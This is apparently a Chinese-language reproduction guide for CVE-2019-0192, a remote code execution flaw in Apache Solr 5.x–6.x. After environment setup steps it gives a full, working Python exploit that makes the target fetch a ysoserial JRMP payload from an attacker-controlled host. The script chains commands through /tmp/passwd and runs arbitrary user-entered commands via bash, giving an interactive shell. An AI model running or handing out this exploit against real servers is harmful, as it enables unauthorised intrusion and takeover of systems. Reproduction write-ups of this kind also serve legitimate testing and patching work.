前言
影响版本
5.0.0至5.5.5
6.0.0至6.6.5
环境搭建
下载ysoserial
https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
jdk7u21
链接：https://pan.baidu.com/s/129vI4T0LQFtEPBMwa8iP1g
提取码：p889
tomcat8.5.57
https://mirrors.bfsu.edu.cn/apache/tomcat/tomcat-8/v8.5.57/bin/apache-tomcat-8.5.57-windows-x64.zip
solr5.5.3
http://138.201.131.134/solr-5.5.3.zip?fid=1Mots4RISEMj0kVjY2VXvIOW8pd*1qYIAAAAABODwEgC9q2SlO6-BJoAJcBoUu5I&mid=666&threshold=150&tid=A4B53D09C9C25F9D50C577A20AB5CA12&srcid=119&verno=1
添加环境变量
CATALINA_HOME：C:\Program Files (x86)\apache-tomcat-8.5.57
CATALINA_BASE：C:\Program Files (x86)\apache-tomcat-8.5.57
TOMCAT_HOME：C:\Program Files (x86)\apache-tomcat-8.5.57
JAVA_HOME：C:\Program Files\Java\jdk1.7.0_21
CLASSPATH: .;%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jar;
在path中添加
%JAVA_HOME%\bin;%JAVA_HOME%\jre\bin;
在C:\Program Files (x86)\apache-tomcat-8.5.57\bin下运行startup.bat
在C:\Program Files (x86)\apache-tomcat-8.5.57\webapps\solr-5.5.3\bin下执行
solr -e techproducts -Dcom.sun.management.jmxremote
开启服务
漏洞复现
使用ysoserial工具，执行
Java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12363 Jdk7u21 "calc"
监听12363端口
poc.py
import base64
import requests
import subprocess
import signal
import sys
import os
import time
import re
remote = "http://172.18.0.5:8983"
ressource = ""
RHOST = "172.18.0.1"
RPORT = "1099"
proxy = {
}
def exploit(command):
print("\n Run the malicious RMI server using yoserial by running this command:")
print("\n java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener " + RPORT + " Jdk7u21" + command)
if __name__ == "__main__":
print("\nCVE-2019-0192 - Apache Solr RCE 5.0.0 to 5.5.5 and 6.0.0 to 6.6.5\n")
print("[+] Checking if ressource available =>", end=' ')
burp0_url = remote + "/solr/admin/cores?wt=json"
r = requests.get(burp0_url, proxies=proxy, verify=False, allow_redirects=False)
if r.status_code == 200:
if r.json()['status'] == "":
print("KO")
sys.exit()
else:
a = list(r.json()['status'].keys())
ressource = "/solr/" + a[0] + "/config"
print(ressource)
else:
print("KO")
sys.exit()
while True:
try:
command = input("command (\033[92mnot reflected\033[0m)> ")
if command == "exit":
print("Exiting...")
break
command = base64.b64encode(command.encode('utf-8'))
command_str = command.decode('utf-8')
command_str = command_str.replace('/', '+')
pro = subprocess.Popen(
"java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener " + RPORT + " Jdk7u21 'cp /etc/passwd /tmp/passwd'", stdout=subprocess.PIPE,shell=True, preexec_fn=os.setsid)
print("[+] Copy file to tmp directory =>", end=' ')
burp0_url = remote + ressource
burp0_headers = {
"Content-Type": "application/json"}
burp0_json = {
"set-property": {
"jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://" + RHOST + ":" + RPORT + "/obj"}}
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json)
if r.status_code == 500:
m = re.search('(undeclared checked exception; nested exception is)', r.text)
if m:
print("\033[92mOK\033[0m")
else:
print("\n[-] Error")
os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
sys.exit()
else:
print("KO")
os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
sys.exit()
os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
time.sleep(3)
pro = subprocess.Popen(
"java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener " + RPORT + " Jdk7u21 'sed -i 1cpwn /tmp/passwd'", stdout=subprocess.PIPE, shell=True, preexec_fn=os.setsid)
print("[+] Preparing file =>", end=' ')
burp0_url = remote + ressource
burp0_headers = {
"Content-Type": "application/json"}
burp0_json = {
"set-property": {
"jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://" + RHOST + ":" + RPORT + "/obj"}}
r = requests.post(
burp0_url, headers=burp0_headers, json=burp0_json)
if r.status_code == 500:
print("\033[92mOK\033[0m")
else:
print("KO")
os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
sys.exit()
os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
time.sleep(3)
pro = subprocess.Popen(
"java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener " + RPORT + " Jdk7u21 'sed -i /[^pwn]/d /tmp/passwd'", stdout=subprocess.PIPE, shell=True, preexec_fn=os.setsid)
print("[+] Cleaning temp file =>", end=' ')
burp0_url = remote + ressource
burp0_headers = {
"Content-Type": "application/json"}
burp0_json = {
"set-property": {
"jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://" + RHOST + ":" + RPORT + "/obj"}}
r = requests.post(
burp0_url, headers=burp0_headers, json=burp0_json)
if r.status_code == 500:
print("\033[92mOK\033[0m")
else:
print("KO")
os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
sys.exit()
os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
time.sleep(3)
pro = subprocess.Popen(
"java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener " + RPORT + " Jdk7u21 'sed -i 1s/pwn/{echo," +
command_str + "}|{base64,-d}>pwn.txt/g /tmp/passwd'", stdout=subprocess.PIPE, shell=True, preexec_fn=os.setsid)
print("[+] Writing command into temp file =>", end=' ')
burp0_url = remote + ressource
burp0_headers = {
"Content-Type": "application/json"}
burp0_json = {
"set-property": {
"jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://" + RHOST + ":" + RPORT + "/obj"}}
r = requests.post(
burp0_url, headers=burp0_headers, json=burp0_json)
if r.status_code == 500:
print("\033[92mOK\033[0m")
else:
print("KO")
os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
sys.exit()
os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
time.sleep(3)
pro = subprocess.Popen(
"java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener " + RPORT + " Jdk7u21 'bash /tmp/passwd'", stdout=subprocess.PIPE, shell=True, preexec_fn=os.setsid)
print("[+] Decode base64 command =>", end=' ')
burp0_url = remote + ressource
burp0_headers = {
"Content-Type": "application/json"}
burp0_json = {
"set-property": {
"jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://" + RHOST + ":" + RPORT + "/obj"}}
r = requests.post(
burp0_url, headers=burp0_headers, json=burp0_json)
if r.status_code == 500:
print("\033[92mOK\033[0m")
else:
print("KO")
os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
sys.exit()
os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
time.sleep(3)
pro = subprocess.Popen(
"java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener " + RPORT + " Jdk7u21 'bash pwn.txt'", stdout=subprocess.PIPE, shell=True, preexec_fn=os.setsid)
print("[+] Executing command =>", end=' ')
burp0_url = remote + ressource
burp0_headers = {
"Content-Type": "application/json"}
burp0_json = {
"set-property": {
"jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://" + RHOST + ":" + RPORT + "/obj"}}
r = requests.post(
burp0_url, headers=burp0_headers, json=burp0_json)
if r.status_code == 500:
print("\033[92mOK\033[0m")
else:
print("KO")
os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
sys.exit()
os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
time.sleep(3)
except KeyboardInterrupt:
print("Exiting...")
break
python3 poc.py
成功弹出计算器
参考文章
https://github.com/mpgn/CVE-2019-0192